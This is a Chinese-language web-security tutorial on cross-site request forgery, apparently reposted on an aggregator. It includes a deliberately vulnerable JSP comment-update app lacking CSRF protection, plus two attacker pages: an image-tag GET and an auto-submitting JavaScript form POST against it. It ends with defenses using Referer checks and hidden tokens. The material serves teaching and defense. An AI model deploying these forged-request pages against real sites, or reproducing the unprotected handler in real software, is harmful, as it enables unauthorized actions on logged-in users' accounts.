zoukankan      html  css  js  c++  java
  • web安全之跨站请求伪造_CSRF

    CSRF(Cross-site request forgery),中文名称:跨站请求伪造也被称为one-click attack或者session riding,通常缩写为CSRF或者XSRF, 是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。跟跨网站脚本(XSS)相比,XSS利用的是用户对指定网站的信任,CSRF 利用的是网站对用户网页浏览器的信任。
    因为这个不是用户真正想发出的请求,这就是所谓的请求伪造;因为这些请求也是可以从第三方网站提交的,所以前缀跨站二字。

    CSRF发生的场景如下图所示:

    用户登录访问了一个受信任的站点,
    在用户还没有退出登录的时候,打开另外一个tab页,访问了网站B。
    在B网站中,有CSRF攻击代码访问网站A。
    发生的原因是,网站是通过cookie来识别用户的,当用户成功进行身份验证之后浏览器就会得到一个
    标识其身份的cookie,只要不关闭浏览器或者退出登录,以后访问这个网站会带上这个cookie。
    1.登录受信任网站A,并在本地生成Cookie。
    2.在不登出A的情况下,访问危险网站B。
    你也许会说:“如果我不满足以上两个条件中的一个,我就不会受到CSRF的攻击”。
    是的,确实如此,但你不能保证以下情况不会发生:
    1.你不能保证你登录了一个网站后,不再打开一个tab页面并访问另外的网站。
    2.你不能保证你关闭浏览器了后,你本地的Cookie立刻过期,你上次的会话已经结束。
    (事实上,关闭浏览器不能结束一个会话,但大多数人都会错误的认为关闭浏览器就等于
    退出登录/结束会话了)如记住密码功能等。
    3.上图中所谓的攻击网站,可能是一个存在其他漏洞的可信任的经常被人访问的网站。
    下面来看一个代码实例,在网站A发布了下面的代码
    用户login,然后可以在input.jsp提交数据,提交的数据被dataupdate.jsp更新到后台。
    dataupdate.jsp会检查用户是否登录,如果没有登录会跳到login.jsp要求用户登录。

    [html] view plain copy
     
     在CODE上查看代码片派生到我的代码片
    1. login.jsp  
    2. <body>  
    3. <form action="input.jsp" method="post">  
    4. name<input type="text" name="name" size="50"><br>  
    5. pwd<input type="password" name="password" size="50"><br>  
    6. <input type="submit" value="submit">  
    7. </form>  
    8. <br>  
    9. </body>  
    10. </html>  
    11.   
    12. input.jsp  
    13. <body>  
    14. <%  
    15.     //Session session = request.getSession();  
    16.     String username = (String)session.getValue("username");  
    17.     System.out.println("username " + username);  
    18.     if(null==username){  
    19.         String uname = request.getParameter("name");  
    20.         session.putValue("username", uname);  
    21.     }  
    22.   
    23. %>  
    24. <form action="dataupdate.jsp" method="post">  
    25. <input type="text" name="comment" size="50"><br>  
    26. <input type="submit" value="submit">  
    27. </form>  
    28. <br>  
    29. </body>  
    30.   
    31. dataupdate.jsp  
    32. <body>  
    33. <%  
    34.     String username = (String)session.getValue("username");  
    35.     System.out.println("username " + username);  
    36.     if(null==username){  
    37.         System.out.println("has not logged in");  
    38.         response.sendRedirect("login.jsp");  
    39.     }else{  
    40.         String comment = request.getParameter("comment");  
    41.           
    42.         System.out.println("add a comment: " + comment);  
    43.               
    44.         out.write("comment is : " + comment);  
    45.     }  
    46. %>  
    47. </body>  
    48. </html>  

    表面上看起来好像没有问题。
    假设我们有另外一个网站B,它有一个网页文件如下
    如果在用户登录访问网站A的同时访问了网站B,访问者在网站A的数据就会被假冒更新。
    可以在后台看到有如下的输出:add a comment: fromcsrf

    [html] view plain copy
     
     在CODE上查看代码片派生到我的代码片
    1. <body>  
    2. use a img element to send a get request <br>  
    3. <img src="http://www.a.com/prjWebSec/csrf/dataupdate.jsp?comment=fromcsrf">  
    4. </body>  
    5. </html>  

    这里网站A违反了HTTP规范,使用GET请求更新资源。那是不是用post请求就不会发生CSRF呢?
    结果是同样会发生。可以通过构造javascript构造form提交,如下面的代码

    [html] view plain copy
     
     在CODE上查看代码片派生到我的代码片
    1. <body >  
    2. </body>  
    3.     <script type="text/javascript">  
    4.   
    5.         var frm= document.getElementById("viframe");  
    6.         function sendcsrf()    
    7.         {    
    8.             var form1 = document.createElement("form");    
    9.             form1.id = "form1";    
    10.             form1.name = "form1";    
    11.             document.body.appendChild(form1);    
    12.           
    13.             var input = document.createElement("input");    
    14.             input.type = "text";    
    15.             input.name = "comment";    
    16.             input.value = "from csrf post";    
    17.           
    18.             form1.appendChild(input);    
    19.             form1.method = "POST";    
    20.             form1.action = "http://www.a.com/prjWebSec/csrf/dataupdate.jsp";    
    21.             form1.submit();    
    22.             document.body.removeChild(form1);    
    23.         }   
    24.         sendcsrf();  
    25.     </script>  
    26. </html>  

    防止方法:
    1,利用referer判断,
    但是用户有可能设置浏览器使其在发送请求时不提供 Referer,这样的用户也将不能访问网站。
    2,在请求中添加 token 并验证
    关键在于在请求中放入黑客所不能伪造的信息,并且该信息不存在于 cookie 之中,
    可以在服务器端生成一个随机码,然后放在form的hidden元素中,form提交的时候在服务器端检查

     XSS 是实现 CSRF 的诸多途径中的一条,但绝对不是唯一的一条。一般习惯上把通过 XSS 来实现的 CSRF 称为 XSRF

    参考资料

    http://blog.csdn.net/kkdelta/article/details/17503947

  • 相关阅读:
    UC将发布高性能HTML5游戏引擎XCanvas
    一台晚会3.15拯救不了这些高科技公司
    4G时代更有利于TDD的发展
    【leetcode】Binary Tree Zigzag Level Order Traversal
    四月电商价格战火重燃 服务为决胜之道
    linux sysfs(3)
    ubuntu gedit 中文显示乱码解决方法
    研究人员将Windows Phone 7和Windows Azure推广到平流层的大气污染研究中
    迁移周系列II/II: On Premises 迁移视频
    玩Rock, Paper, Azure Challenge,赢取免费Kinect和Xbox 360!
  • 原文地址:https://www.cnblogs.com/luluQQ/p/5151654.html
Copyright © 2011-2022 走看看